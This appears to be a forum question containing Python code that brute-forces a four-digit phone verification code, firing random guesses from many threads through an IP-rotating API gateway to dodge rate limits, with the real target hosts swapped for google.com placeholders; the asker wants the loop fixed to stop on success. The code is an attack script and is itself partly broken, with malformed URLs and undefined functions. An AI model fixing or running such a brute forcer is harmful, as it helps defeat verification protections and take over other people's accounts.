def access(Token, number,engine,gateway):
response = requests.Session()
response.mount(engine, gateway)
headers = {'Host': 'www.google.com',
'Authorization': 'bearer %s' % (Token),
'Content-type': 'application/json'}
url = 'https://www google.com'
data = '{"code":"'+ str("".join(random.choice('0123456789')for i in range(4))) +'","countrycode":"1","countryid":"0","mobile":"%s"}' % (number)
response = response.post(url, headers=headers, data=data)
print(response.json()['result']['displaymessage'])
# ==================================================================================================================
def verify(Token, number):
engine = 'https://www.google com'
gateway = ApiGateway(engine, access_key_id="0", access_key_secret="0")
gateway.start()
response = requests.Session()
response.mount(engine, gateway)
headers = {'Host': 'www.google.com',
'Authorization': 'bearer %s' % (Token),
'Content-type': 'application/json'}
url = 'https://www.google.com'
data = '{"code":"'+ str("".join(random.choice('0123456789')for i in range(4))) +'","countrycode":"1","countryid":"0","mobile":"%s"}' % (number)
response = response.post(url, headers=headers, data=data)
if __name__ == "__main__":
for _ in range(9999999):
if response.status_code != 200 or response.json()['result']['displaymessage'] == 'Verification not successed.':
processThread = threading.Thread(target=brute, args=[Token,number,engine,gateway])
processThread.start()
usleep(50000)
else:
print("\n" + "#Notice =", response.json()['result']['displaymessage'] + "\n")
gateway.shutdown()
break
Im trying to multithread a function if response in json is Verification not successed but then i want to break the loop if i got another response .. i tried multi things but it wont need to break the loop is there any solution to get that code work as i need